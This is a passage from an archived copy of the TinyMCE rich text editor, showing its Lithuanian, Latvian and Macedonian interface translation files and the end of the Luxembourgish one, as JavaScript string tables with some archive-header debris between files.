"Words: {0}": "Wierder: {0}",
"Insert": "Drasetzen",
"File": "Fichier",
"Edit": "\u00c4nneren",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "Ber\u00e4ich fir format\u00e9ierten Text.
Dr\u00e9ck ALT+F9 fir de Men\u00fc. Dr\u00e9ck ALT+F10 fir
d'Geschirleescht. Dr\u00e9ck ALT+0 fir d'H\u00ebllef.",
"Tools": "Geschir",
"View": "Kucken",
"Table": "Tabell",
"Format": "Format"
});PKR��[���L%L%tinymce/langs/lt.jsnu�[���tinymce.addI18n('lt',{
"Redo": "Gr\u0105\u017einti",
"Undo": "Atstatyti",
"Cut": "I\u0161kirpti",
"Copy": "Kopijuoti",
"Paste": "\u012ed\u0117ti",
"Select all": "Pa\u017eym\u0117ti visk\u0105",
"New document": "Naujas dokumentas",
"Ok": "Gerai",
"Cancel": "Atsisakyti",
"Visual aids": "Vaizdin\u0117s priemon\u0117s",
"Bold": "Pary\u0161kintas",
"Italic": "Kursyvinis",
"Underline": "Pabrauktas",
"Strikethrough": "Perbrauktas",
"Superscript": "Vir\u0161utinis indeksas",
"Subscript": "Apatinis indeksas",
"Clear formatting": "Naikinti formatavim\u0105",
"Align left": "Lygiuoti kair\u0117je",
"Align center": "Centruoti",
"Align right": "Lygiuoti de\u0161in\u0117je",
"Justify": "I\u0161d\u0117styti per vis\u0105
plot\u012f",
"Bullet list": "\u017denklinimo s\u0105ra\u0161as",
"Numbered list": "Skaitmeninis s\u0105ra\u0161as",
"Decrease indent": "Ma\u017einti \u012ftrauk\u0105",
"Increase indent": "Didinti \u012ftrauk\u0105",
"Close": "U\u017edaryti",
"Formats": "Formatai",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"Nar\u0161ykl\u0117s nustatymai neleid\u017eia redaktoriui tiesiogiai
pasiekti laikinosios atminties. Pra\u0161ome naudoti klaviat\u016bros
klavi\u0161us Ctrl+X\/C\/V.",
"Headers": "Antra\u0161t\u0117s",
"Header 1": "Antra\u0161t\u0117 1",
"Header 2": "Antra\u0161t\u0117 2",
"Header 3": "Antra\u0161t\u0117 3",
"Header 4": "Antra\u0161t\u0117 4",
"Header 5": "Antra\u0161t\u0117 5",
"Header 6": "Antra\u0161t\u0117 6",
"Headings": "Antra\u0161t\u0117s",
"Heading 1": "Antra\u0161t\u0117 1",
"Heading 2": "Antra\u0161t\u0117 2",
"Heading 3": "Antra\u0161t\u0117 3",
"Heading 4": "Antra\u0161t\u0117 4",
"Heading 5": "Antra\u0161t\u0117 5",
"Heading 6": "Antra\u0161t\u0117 6",
"Div": "Div",
"Pre": "Pre",
"Code": "Kodas",
"Paragraph": "Paragrafas",
"Blockquote": "Citata",
"Inline": "Inline",
"Blocks": "Blokai",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "Dabar \u012fterpiama
paprastojo teksto re\u017eimu. Kol \u0161i parinktis \u012fjungta, turinys
bus \u012fterptas kaip paprastas tekstas.",
"Font Family": "\u0160riftas",
"Font Sizes": "\u0160rifto dyd\u017eiai",
"Default": "Pagrindinis",
"Circle": "Apskritimas",
"Disc": "Diskas",
"Square": "Kvadratas",
"Lower Alpha": "Ma\u017eosios raid\u0117s",
"Lower Greek": "Ma\u017eosios graik\u0173",
"Lower Roman": "Ma\u017eosios rom\u0117n\u0173",
"Upper Alpha": "Did\u017eiosios raid\u0117s",
"Upper Roman": "Did\u017eiosios rom\u0117n\u0173",
"Anchor": "\u017dym\u0117",
"Name": "Pavadinimas",
"Id": "ID",
"Id should start with a letter, followed only by letters, numbers,
dashes, dots, colons or underscores.": "ID turi prasid\u0117ti
raide, po kurios gali b\u016bti raid\u0117s, skai\u010diai,
br\u016bk\u0161niai, ta\u0161kai, kabliata\u0161kiai ar apatiniai
pabraukimai.",
"You have unsaved changes are you sure you want to navigate
away?": "Turite nei\u0161saugot\u0173 pakeitim\u0173! Ar tikrai
norite i\u0161eiti?",
"Restore last draft": "Atstatyti paskutin\u012f
projekt\u0105",
"Special character": "Specialus simbolis",
"Source code": "Pirminis \u0161altinis",
"Insert\/Edit code sample": "Prid\u0117ti \/ keisti kodo
pavyzd\u012f",
"Language": "Kalba",
"Color": "Spalva",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "I\u0161 kair\u0117s \u012f
de\u0161in\u0119",
"Right to left": "I\u0161 de\u0161in\u0117s \u012f
kair\u0119",
"Emoticons": "Jaustukai",
"Document properties": "Dokumento savyb\u0117s",
"Title": "Pavadinimas",
"Keywords": "\u017dymos",
"Description": "Apra\u0161as",
"Robots": "Robotai",
"Author": "Autorius",
"Encoding": "Kodavimas",
"Fullscreen": "Visas ekranas",
"Horizontal line": "Horizontali linija",
"Insert\/edit image": "\u012eterpti|Tvarkyti
paveiksl\u0117l\u012f",
"Image description": "Paveiksl\u0117lio apra\u0161as",
"Source": "Pirmin\u0117 nuoroda",
"Dimensions": "Matmenys",
"Constrain proportions": "Laikytis proporcij\u0173",
"General": "Bendra",
"Advanced": "I\u0161pl\u0117stas",
"Style": "Stilius",
"Vertical space": "Vertikalus tarpas",
"Horizontal space": "Horizontalus tarpas",
"Border": "R\u0117melis",
"Insert image": "\u012eterpti paveiksl\u0117l\u012f",
"Image": "Paveiksl\u0117lis",
"Rotate counterclockwise": "Pasukti prie\u0161
laikrod\u017eio rodykl\u0119",
"Rotate clockwise": "Pasukti pagal laikrod\u017eio
rodykl\u0119",
"Flip vertically": "Apversti vertikaliai",
"Flip horizontally": "Apversti horizontaliai",
"Edit image": "Redaguoti paveiksl\u0117l\u012f",
"Image options": "Paveiksl\u0117lio nustatymai",
"Zoom in": "Priartinti",
"Zoom out": "Atitolinti",
"Crop": "Atkarpyti",
"Resize": "Keisti dyd\u012f",
"Orientation": "Pasukimas",
"Brightness": "\u0160viesumas",
"Sharpen": "Ry\u0161kumas",
"Contrast": "Kontrastas",
"Color levels": "Spalv\u0173 lygiai",
"Gamma": "Gama",
"Invert": "Prie\u0161ingos spalvos",
"Apply": "Taikyti",
"Back": "Atgal",
"Insert date\/time": "\u012eterpti
dat\u0105\/laik\u0105",
"Date\/time": "Data \/ laikas",
"Insert link": "\u012eterpti nuorod\u0105",
"Insert\/edit link": "\u012eterpti\/taisyti
nuorod\u0105",
"Text to display": "Rodomas tekstas",
"Url": "Nuoroda",
"Target": "Tikslin\u0117 nuoroda",
"None": "Nieko",
"New window": "Naujas langas",
"Remove link": "\u0160alinti nuorod\u0105",
"Anchors": "\u017dym\u0117",
"Link": "Nuoroda",
"Paste or type a link": "\u012eklijuokite arba
\u012fra\u0161ykite nuorod\u0105",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "Atrodo, kad \u012fvesta nuoroda
yra elektroninio pa\u0161to adresas. Ar norite prie\u0161 j\u012f
\u012fvesti reikalaujam\u0105 \u201emailto:\u201c?",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "Atrodo, kad \u012fved\u0117te
nuotolin\u0119 nuorod\u0105. Ar norite prie\u0161 j\u0105 \u012fvesti
reikalaujam\u0105 \u201ehttp:\/\/\u201c?",
"Insert video": "\u012eterpti video",
"Insert\/edit video": "\u012eterpti\/tvarkyti video",
"Insert\/edit media": "Prid\u0117ti \/ keisti
medij\u0105",
"Alternative source": "Alternatyvus \u0161altinis",
"Poster": "Plakatas",
"Paste your embed code below:": "\u012eterpkite kod\u0105
\u017eemiau:",
"Embed": "\u012eterpti",
"Media": "Medija",
"Nonbreaking space": "Nepertraukiamos vietos",
"Page break": "Puslapio skirtukas",
"Paste as text": "\u012eklijuoti kaip tekst\u0105",
"Preview": "Per\u017ei\u016bra",
"Print": "Spausdinti",
"Save": "I\u0161saugoti",
"Find": "Ie\u0161koti",
"Replace with": "Kuo pakeisti",
"Replace": "Pakeisti",
"Replace all": "Pakeisti visk\u0105",
"Prev": "Ankstesnis",
"Next": "Sekantis",
"Find and replace": "Surasti ir pakeisti",
"Could not find the specified string.": "Nepavyko rasti
nurodytos eilut\u0117s.",
"Match case": "Atitinkamus",
"Whole words": "Visus \u017eod\u017eius",
"Spellcheck": "Ra\u0161ybos tikrinimas",
"Ignore": "Ignoruoti",
"Ignore all": "Ignoruoti visk\u0105",
"Finish": "Baigti",
"Add to Dictionary": "Prid\u0117ti \u012f
\u017dodyn\u0105",
"Insert table": "\u012eterpti lentel\u0119",
"Table properties": "Lentel\u0117s savyb\u0117s",
"Delete table": "\u0160alinti lentel\u0119",
"Cell": "Langeliai",
"Row": "Eilut\u0117s",
"Column": "Stulpelis",
"Cell properties": "Langelio savyb\u0117s",
"Merge cells": "Sujungti langelius",
"Split cell": "Skaidyti langelius",
"Insert row before": "\u012eterpti eilut\u0119
prie\u0161",
"Insert row after": "\u012eterpti eilut\u0119 po",
"Delete row": "Naikinti eilut\u0119",
"Row properties": "Eilut\u0117s savyb\u0117s",
"Cut row": "I\u0161kirpti eilut\u0119",
"Copy row": "Kopijuoti eilut\u0119",
"Paste row before": "\u012ed\u0117ti eilut\u0119
prie\u0161",
"Paste row after": "\u012ed\u0117ti eilut\u0119 po",
"Insert column before": "\u012eterpti stulpel\u012f
prie\u0161",
"Insert column after": "\u012eterpti stulpel\u012f po",
"Delete column": "Naikinti stulpel\u012f",
"Cols": "Stulpeliai",
"Rows": "Eilut\u0117s",
"Width": "Plotis",
"Height": "Auk\u0161tis",
"Cell spacing": "Tarpas tarp langeli\u0173",
"Cell padding": "Tarpas nuo langelio iki teksto",
"Caption": "Antra\u0161t\u0117",
"Left": "Kair\u0117",
"Center": "Centras",
"Right": "De\u0161in\u0117",
"Cell type": "Langelio tipas",
"Scope": "Strukt\u016bra",
"Alignment": "Lygiavimas",
"H Align": "H Lygiavimas",
"V Align": "V Lygiavimas",
"Top": "Vir\u0161uje",
"Middle": "Viduryje",
"Bottom": "Apa\u010dioje",
"Header cell": "Antra\u0161t\u0117s langelis",
"Row group": "Eilu\u010di\u0173 grup\u0117",
"Column group": "Stulpeli\u0173 grup\u0117",
"Row type": "Eilu\u010di\u0173 tipas",
"Header": "Antra\u0161t\u0117",
"Body": "Turinys",
"Footer": "Apa\u010dia",
"Border color": "R\u0117melio spalva",
"Insert template": "\u012eterpti \u0161ablon\u0105",
"Templates": "\u0160ablonai",
"Text color": "Teksto spalva",
"Background color": "Fono spalva",
"Custom...": "Pasirinktinas...",
"Custom color": "Pasirinktina spalva",
"No color": "Jokios spalvos",
"Table of Contents": "Turinys",
"Show blocks": "Rodyti blokus",
"Show invisible characters": "Rodyti nematomus
simbolius",
"Words: {0}": "\u017dod\u017eiai: {0}",
"File": "Failas",
"Edit": "Redaguoti",
"Insert": "\u012eterpti",
"View": "Per\u017ei\u016bra",
"Format": "Formatas",
"Table": "Lentel\u0117",
"Tools": "\u012erankiai",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "Suformatuoto teksto laukas. D\u0117l
meniu spauskite ALT-F9. U\u017eduo\u010di\u0173 juostos \u012fjungimui
spauskite ALT-F10. Pagalbai - spauskite ALT-0."
});PKR��[����tinymce/langs/lv.jsnu�[���tinymce.addI18n('lv',{
"Cut": "Izgriezt",
"Header 2": "Otr\u0101 l\u012bme\u0146a virsraksts",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"J\u016bsu p\u0101rl\u016bkprogramma neatbalsta piek\u013cuvi
starpliktuvei. L\u016bdzu izmantojiet Ctrl+X\/C\/V klaviat\u016bras
sa\u012bsnes.",
"Div": "Div elements",
"Paste": "Iel\u012bm\u0113t",
"Close": "Aizv\u0113rt",
"Font Family": "Font Family",
"Pre": "Pre elements",
"Align right": "L\u012bdzin\u0101t pa labi",
"New document": "Jauns dokuments",
"Blockquote": "Cit\u0101ts",
"Numbered list": "Numur\u0113ts saraksts",
"Increase indent": "Palielin\u0101t atk\u0101pi",
"Formats": "Form\u0101ti",
"Headers": "Virsraksti",
"Select all": "Iez\u012bm\u0113t",
"Header 3": "Tre\u0161\u0101 l\u012bme\u0146a
virsraksts",
"Blocks": "Bloka elements",
"Undo": "Atsaukt",
"Strikethrough": "P\u0101rsv\u012btrot",
"Bullet list": "Nenumuer\u0113ts saraksts",
"Header 1": "Pirm\u0101 l\u012bme\u0146a virsraksts",
"Superscript": "Aug\u0161raksts",
"Clear formatting": "No\u0146emt format\u0113jumu",
"Font Sizes": "Font Sizes",
"Subscript": "Apak\u0161raksts",
"Header 6": "Sest\u0101 l\u012bme\u0146a virsraksts",
"Redo": "Atcelt atsauk\u0161anu",
"Paragraph": "Paragr\u0101fs",
"Ok": "Labi",
"Bold": "Treknraksts",
"Code": "Koda elements",
"Italic": "Kurs\u012bvs",
"Align center": "Centr\u0113t",
"Header 5": "Piekt\u0101 l\u012bme\u0146a virsraksts",
"Decrease indent": "Samazin\u0101t atk\u0101pi",
"Header 4": "Ceturt\u0101 l\u012bme\u0146a virsraksts",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.":
"Iel\u012bm\u0113\u0161ana tagad ir vienk\u0101r\u0161teksta
re\u017e\u012bm\u0101. Saturs tiks iel\u012bm\u0113ts k\u0101
vienk\u0101r\u0161teksts, l\u012bdz \u0161\u012b opcija tiks
atsl\u0113gta.",
"Underline": "Pasv\u012btrot",
"Cancel": "Atcelt",
"Justify": "L\u012bdzin\u0101t abas malas",
"Inline": "Rindi\u0146as elements",
"Copy": "Kop\u0113t",
"Align left": "L\u012bdzin\u0101t pa kreisi",
"Visual aids": "Uzskates l\u012bdzek\u013ci",
"Lower Greek": "Grie\u0137u mazie burti",
"Square": "Kvadr\u0101ts",
"Default": "Noklus\u0113juma",
"Lower Alpha": "Lat\u012b\u0146u mazie burti",
"Circle": "Aplis",
"Disc": "Disks",
"Upper Alpha": "Lat\u012b\u0146u lielie burti",
"Upper Roman": "Romie\u0161u lielie burti",
"Lower Roman": "Romie\u0161u mazie burti",
"Name": "V\u0101rds",
"Anchor": "Enkurelements",
"You have unsaved changes are you sure you want to navigate
away?": "Jums ir nesaglab\u0101tas izmai\u0146as, esat
dro\u0161s, ka v\u0113laties doties prom",
"Restore last draft": "Atjaunot p\u0113d\u0113jo
melnrakstu",
"Special character": "\u012apa\u0161ais simbols",
"Source code": "Pirmkods",
"Right to left": "No lab\u0101s uz kreiso",
"Left to right": "No kreis\u0101s uz labo",
"Emoticons": "Emocijas",
"Robots": "Programmas",
"Document properties": "Dokumenta
uzst\u0101d\u012bjumi",
"Title": "Nosaukums",
"Keywords": "Atsl\u0113gv\u0101rdi",
"Encoding": "Kod\u0113jums",
"Description": "Apraksts",
"Author": "Autors",
"Fullscreen": "Pilnekr\u0101na re\u017e\u012bms",
"Horizontal line": "Horizont\u0101la l\u012bnija",
"Horizontal space": "Horizont\u0101l\u0101 vieta",
"Insert\/edit image": "Ievietot\/labot att\u0113lu",
"General": "Visp\u0101r\u012bgi",
"Advanced": "Papildus",
"Source": "Avots",
"Border": "Apmale",
"Constrain proportions": "Saglab\u0101t malu
attiec\u012bbu",
"Vertical space": "Vertik\u0101l\u0101 vieta",
"Image description": "Att\u0113la apraksts",
"Style": "Stils",
"Dimensions": "Izm\u0113ri",
"Insert image": "Ievietot att\u0113lu",
"Insert date\/time": "Ievietot datumu\/laiku",
"Remove link": "No\u0146emt saiti",
"Url": "Adrese",
"Text to display": "Teksts",
"Anchors": "Enkurelements",
"Insert link": "Ievietot saiti",
"New window": "Jauns logs",
"None": "Nek\u0101",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "The URL you entered seems to be
an external link. Do you want to add the required http:\/\/ prefix?",
"Target": "M\u0113r\u0137is",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "The URL you entered seems to be
an email address. Do you want to add the required mailto: prefix?",
"Insert\/edit link": "Ievietot\/labot saiti",
"Insert\/edit video": "Ievietot\/redi\u0123\u0113t
video",
"Poster": "Att\u0113ls",
"Alternative source": "Alternat\u012bvs avots",
"Paste your embed code below:": "Iekop\u0113jiet embed kodu
zem\u0101k:",
"Insert video": "Ievietot video",
"Embed": "Embed",
"Nonbreaking space": "L\u012bnij-nedalo\u0161s atstarpes
simbols",
"Page break": "P\u0101rnest jaun\u0101 lap\u0101",
"Paste as text": "Iel\u012bm\u0113t k\u0101 tekstu",
"Preview": "Priek\u0161skat\u012bjums",
"Print": "Print\u0113t",
"Save": "Saglab\u0101t",
"Could not find the specified string.": "Mekl\u0113tais
teksts netika atrasts",
"Replace": "Aizvietot",
"Next": "N\u0101ko\u0161ais",
"Whole words": "Pilnus v\u0101rdus",
"Find and replace": "Mekl\u0113t un aizvietot",
"Replace with": "Aizvietot ar",
"Find": "Mekl\u0113t",
"Replace all": "Aizvietot visu",
"Match case": "Re\u0123istrj\u016bt\u012bgs",
"Prev": "Iepriek\u0161\u0113jais",
"Spellcheck": "Pareizrakst\u012bbas p\u0101rbaude",
"Finish": "Beigt",
"Ignore all": "Ignor\u0113t visu",
"Ignore": "Ignor\u0113t",
"Insert row before": "Ievietot rindu pirms",
"Rows": "Rindas",
"Height": "Augstums",
"Paste row after": "Iel\u012bm\u0113t rindu p\u0113c",
"Alignment": "L\u012bdzin\u0101jums",
"Column group": "Kolonnu grupa",
"Row": "Rinda",
"Insert column before": "Ievietot kolonu pirms",
"Split cell": "Sadal\u012bt \u0161\u016bnas",
"Cell padding": "\u0160\u016bnas atstatumi",
"Cell spacing": "\u0160\u016bnu atstarpes",
"Row type": "Rindas tips",
"Insert table": "Ievietot tabulu",
"Body": "\u0136ermenis",
"Caption": "Virsraksts",
"Footer": "K\u0101jene",
"Delete row": "Dz\u0113st rindu",
"Paste row before": "Iel\u012bm\u0113t rindu pirms",
"Scope": "Apgabals",
"Delete table": "Dz\u0113st tabulu",
"Header cell": "Galvenes \u0161\u016bna",
"Column": "Kolona",
"Cell": "\u0160\u016bna",
"Header": "Galvene",
"Cell type": "\u0160\u016bnas tips",
"Copy row": "Kop\u0113t rindu",
"Row properties": "Rindas uzst\u0101d\u012bjumi",
"Table properties": "Tabulas uzst\u0101d\u012bjumi",
"Row group": "Rindu grupa",
"Right": "Pa labi",
"Insert column after": "Ievietot kolonu p\u0113c",
"Cols": "Kolonas",
"Insert row after": "Ievietot rindu p\u0113c",
"Width": "Platums",
"Cell properties": "\u0160\u016bnas
uzst\u0101d\u012bjumi",
"Left": "Pa kreisi",
"Cut row": "Izgriezt rindu",
"Delete column": "Dz\u0113st kolonu",
"Center": "Centr\u0113t",
"Merge cells": "Apvienot \u0161\u016bnas",
"Insert template": "Ievietot \u0161ablonu",
"Templates": "\u0160abloni",
"Background color": "Fona kr\u0101sa",
"Text color": "Teksta kr\u0101sa",
"Show blocks": "R\u0101d\u012bt blokus",
"Show invisible characters": "R\u0101d\u012bt
neredzam\u0101s rakstz\u012bmes",
"Words: {0}": "V\u0101rdi: {0}",
"Insert": "Ievietot",
"File": "Fails",
"Edit": "Labot",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "Vizu\u0101li redi\u0123\u0113jama teksta
apgabals. Nospiediet ALT-F9 izv\u0113lnei, ALT-F10 r\u012bkjoslai vai ALT-0
pal\u012bdz\u012bbai.",
"Tools": "R\u012bki",
"View": "Skat\u012bt",
"Table": "Tabula",
"Format": "Form\u0101ts",
"H Align": "Horizont\u0101lais l\u012bdzin\u0101jums",
"V Align": "Vertik\u0101lais l\u012bdzin\u0101jums",
"Top": "Aug\u0161\u0101",
"Middle": "Vid\u016b",
"Bottom": "Apak\u0161\u0101",
"Headings": "Virsraksti",
"Heading 1": "1. virsraksts",
"Heading 2": "2. virsraksts",
"Heading 3": "3. virsraksts",
"Heading 4": "4. virsraksts",
"Heading 5": "5. virsraksts",
"Heading 6": "6. virsraksts",
"Add to Dictionary": "Pievienot v\u0101rdn\u012bcai",
"Border color": "Apmales kr\u0101sa",
"Color": "Kr\u0101sa",
"Custom...": "Piel\u0101gots...",
"Custom color": "Nestandarta kr\u0101sa",
"No color": "Bez kr\u0101sas"
});
PKR��[6��S�Stinymce/langs/mk.jsnu�[���tinymce.addI18n('mk',{
"Cut": "\u0418\u0441\u0435\u0447\u0438",
"Heading 5": "\u041d\u0430\u0441\u043b\u043e\u0432 5",
"Header 2": "\u041d\u0430\u0441\u043b\u043e\u0432 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"\u0412\u0430\u0448\u0438\u043e\u0442
\u043f\u0440\u0435\u043b\u0438\u0441\u0442\u0443\u0432\u0430\u0447
\u043d\u0435 \u043f\u043e\u0434\u0434\u0440\u0436\u0443\u0432\u0430
\u0434\u0438\u0440\u0435\u043a\u0442\u0435\u043d
\u043f\u0440\u0438\u0441\u0442\u0430\u043f \u0434\u043e
\u043c\u0435\u043c\u043e\u0440\u0438\u0458\u0430\u0442\u0430.\u041a\u043e\u0440\u0438\u0441\u0442\u0435\u0442\u0435
\u0433\u0438 Ctrl+X\/C\/V
\u043a\u0440\u0430\u0442\u0435\u043d\u043a\u0438\u0442\u0435 \u043d\u0430
\u0442\u0430\u0441\u0442\u0430\u0442\u0443\u0440\u0430\u0442\u0430.",
"Heading 4": "\u041d\u0430\u0441\u043b\u043e\u0432 4",
"Div": "DIV",
"Heading 2": "\u041d\u0430\u0441\u043b\u043e\u0432 2",
"Paste": "\u0412\u043c\u0435\u0442\u043d\u0438",
"Close": "\u0417\u0430\u0442\u0432\u043e\u0440\u0438",
"Font Family": "\u0424\u043e\u043d\u0442
\u0444\u0430\u043c\u0438\u043b\u0438\u0458\u0430",
"Pre": "PRE",
"Align right": "\u0414\u0435\u0441\u043d\u043e
\u043f\u043e\u0440\u0430\u043c\u043d\u0443\u0432\u0430\u045a\u0435",
"New document": "\u041d\u043e\u0432
\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442",
"Blockquote": "\u0426\u0438\u0442\u0430\u0442",
"Numbered list": "\u041b\u0438\u0441\u0442\u0430
\u0441\u043e \u0431\u0440\u043e\u0458\u043a\u0438",
"Heading 1": "\u041d\u0430\u0441\u043b\u043e\u0432 1",
"Headings":
"\u041d\u0430\u0441\u043b\u043e\u0432\u0438",
"Increase indent":
"\u0417\u0433\u043e\u043b\u0435\u043c\u0438
\u0432\u043e\u0432\u043b\u0435\u043a\u0443\u0432\u0430\u045a\u0435",
"Formats":
"\u0424\u043e\u0440\u043c\u0430\u0442\u0438",
"Headers":
"\u041d\u0430\u0441\u043b\u043e\u0432\u0438",
"Select all": "\u041e\u0437\u043d\u0430\u0447\u0438
\u0433\u0438 \u0441\u0438\u0442\u0435",
"Header 3": "\u041d\u0430\u0441\u043b\u043e\u0432 3",
"Blocks": "\u0411\u043b\u043e\u043a\u043e\u0432\u0438",
"Undo": "\u0412\u0440\u0430\u0442\u0438",
"Strikethrough":
"\u041f\u0440\u0435\u0446\u0440\u0442\u0430\u043d\u043e",
"Bullet list": "\u041b\u0438\u0441\u0442\u0430 \u0441\u043e
\u0437\u043d\u0430\u0446\u0438",
"Header 1": "\u041d\u0430\u0441\u043b\u043e\u0432 1",
"Superscript":
"\u041d\u0430\u0442\u0442\u0435\u043a\u0441\u0442",
"Clear formatting":
"\u0418\u0441\u0447\u0438\u0441\u0442\u0438
\u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u0430\u045a\u0435",
"Font Sizes": "\u0424\u043e\u043d\u0442
\u0433\u043e\u043b\u0435\u043c\u0438\u043d\u0430",
"Subscript":
"\u041f\u043e\u0442\u0442\u0435\u043a\u0441\u0442",
"Header 6": "\u041d\u0430\u0441\u043b\u043e\u0432 6",
"Redo": "\u041f\u043e\u0432\u0442\u043e\u0440\u0438",
"Paragraph":
"\u041f\u0430\u0440\u0430\u0433\u0440\u0430\u0444",
"Ok": "\u041e\u041a",
"Bold":
"\u0417\u0434\u0435\u0431\u0435\u043b\u0435\u043d\u043e",
"Code": "\u041a\u043e\u0434",
"Italic":
"\u041d\u0430\u043a\u043e\u0441\u0435\u043d\u043e",
"Align center":
"\u0426\u0435\u043d\u0442\u0440\u0438\u0440\u0430\u043d\u043e",
"Header 5": "\u041d\u0430\u0441\u043b\u043e\u0432 5",
"Heading 6": "\u041d\u0430\u0441\u043b\u043e\u0432 6",
"Heading 3": "\u041d\u0430\u0441\u043b\u043e\u0432 3",
"Decrease indent": "\u0421\u043c\u0430\u043b\u0438
\u0432\u043e\u0432\u043b\u0435\u043a\u0443\u0432\u0430\u045a\u0435",
"Header 4": "\u041d\u0430\u0441\u043b\u043e\u0432 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.":
"\u0412\u043c\u0435\u0442\u043d\u0443\u0432\u0430\u045a\u0435\u0442\u043e
\u0435 \u043a\u0430\u043a\u043e \u0447\u0438\u0441\u0442
\u0442\u0435\u043a\u0441\u0442.
\u0421\u043e\u0434\u0440\u0436\u0438\u043d\u0430\u0442\u0430 \u045c\u0435
\u0431\u0438\u0434\u0435 \u0432\u043c\u0435\u0442\u043d\u0430\u0442\u0430
\u043a\u0430\u043a\u043e \u0447\u0438\u0441\u0442
\u0442\u0435\u043a\u0441\u0442 \u0441\u00e8
\u0434\u043e\u0434\u0435\u043a\u0430 \u043d\u0435 \u0458\u0430
\u0438\u0441\u043a\u043b\u0443\u0447\u0438\u0442\u0435
\u043e\u0432\u0430\u0430 \u043e\u043f\u0446\u0438\u0458\u0430.",
"Underline":
"\u041f\u043e\u0434\u0432\u043b\u0435\u0447\u0435\u043d\u043e",
"Cancel": "\u041e\u0442\u043a\u0430\u0436\u0438",
"Justify":
"\u041f\u043e\u0440\u0430\u043c\u043d\u0435\u0442\u043e",
"Inline":
"\u041d\u0430\u0432\u043d\u0430\u0442\u0440\u0435",
"Copy": "\u041a\u043e\u043f\u0438\u0440\u0430\u0458",
"Align left": "\u041b\u0435\u0432\u043e
\u043f\u043e\u0440\u0430\u043c\u043d\u0443\u0432\u0430\u045a\u0435",
"Visual aids":
"\u0412\u0438\u0437\u0443\u0435\u043b\u043d\u0430
\u043f\u043e\u043c\u043e\u0448",
"Lower Greek": "\u041c\u0430\u043b\u0438
\u0433\u0440\u0447\u043a\u0438",
"Square": "\u041a\u0432\u0430\u0434\u0440\u0430\u0442",
"Default":
"\u041f\u043e\u0441\u0442\u0430\u0432\u0435\u043d\u043e",
"Lower Alpha": "\u041c\u0430\u043b\u0438
\u0430\u043b\u0444\u0430",
"Circle": "\u041a\u0440\u0443\u0433",
"Disc": "\u0422\u043e\u0447\u043a\u0430",
"Upper Alpha": "\u0413\u043e\u043b\u0435\u043c\u0438
\u0430\u043b\u0444\u0430",
"Upper Roman": "\u0413\u043e\u043b\u0435\u043c\u0438
\u0440\u0438\u043c\u0441\u043a\u0438",
"Lower Roman": "\u0413\u043e\u043b\u0435\u043c\u0438
\u0440\u0438\u043c\u0441\u043a\u0438",
"Name": "\u0418\u043c\u0435",
"Anchor": "\u0421\u0438\u0434\u0440\u043e",
"You have unsaved changes are you sure you want to navigate
away?": "\u0418\u043c\u0430\u0442\u0435
\u043d\u0435\u0437\u0430\u0447\u0443\u0432\u0430\u043d\u0438
\u043f\u0440\u043e\u043c\u0435\u043d\u0438,
\u0441\u0438\u0433\u0443\u0440\u043d\u043e
\u0441\u0430\u043a\u0430\u0442\u0435 \u0434\u0430 \u0458\u0430
\u043d\u0430\u043f\u0443\u0448\u0442\u0438\u0442\u0435
\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430\u0442\u0430?",
"Restore last draft": "\u0412\u0440\u0430\u0442\u0438
\u0433\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u043e\u0442
\u043d\u0430\u0446\u0440\u0442",
"Special character":
"\u0421\u043f\u0435\u0446\u0438\u0458\u0430\u043b\u0435\u043d
\u043a\u0430\u0440\u0430\u043a\u0442\u0435\u0440",
"Source code": "\u0418\u0437\u0432\u043e\u0440\u0435\u043d
\u043a\u043e\u0434",
"Color": "\u0411\u043e\u0458\u0430",
"Right to left": "\u041e\u0434
\u0434\u0435\u0441\u043d\u043e \u043d\u0430 \u043b\u0435\u0432\u043e",
"Left to right": "\u041e\u0434 \u043b\u0435\u0432\u043e
\u043d\u0430 \u0434\u0435\u0441\u043d\u043e",
"Emoticons":
"\u0415\u043c\u043e\u0442\u0438\u043a\u043e\u043d\u0438",
"Robots": "\u0420\u043e\u0431\u043e\u0442\u0438",
"Document properties":
"\u041f\u043e\u0434\u0430\u0442\u043e\u0446\u0438 \u0437\u0430
\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0442",
"Title": "\u041d\u0430\u0441\u043b\u043e\u0432",
"Keywords": "\u041a\u043b\u0443\u0447\u043d\u0438
\u0437\u0431\u043e\u0440\u043e\u0432\u0438",
"Encoding":
"\u041a\u043e\u0434\u0438\u0440\u0430\u045a\u0435",
"Description": "\u041e\u043f\u0438\u0441",
"Author": "\u0410\u0432\u0442\u043e\u0440",
"Fullscreen": "\u0426\u0435\u043b
\u0435\u043a\u0440\u0430\u043d",
"Horizontal line":
"\u0425\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u043d\u0430
\u043b\u0438\u043d\u0438\u0458\u0430",
"Horizontal space":
"\u0425\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u0435\u043d
\u043f\u0440\u043e\u0441\u0442\u043e\u0440",
"Insert\/edit image":
"\u0412\u043c\u0435\u0442\u043d\u0438\/\u0421\u043c\u0435\u043d\u0438
\u0441\u043b\u0438\u043a\u0430",
"General": "\u041e\u043f\u0448\u0442\u043e",
"Advanced":
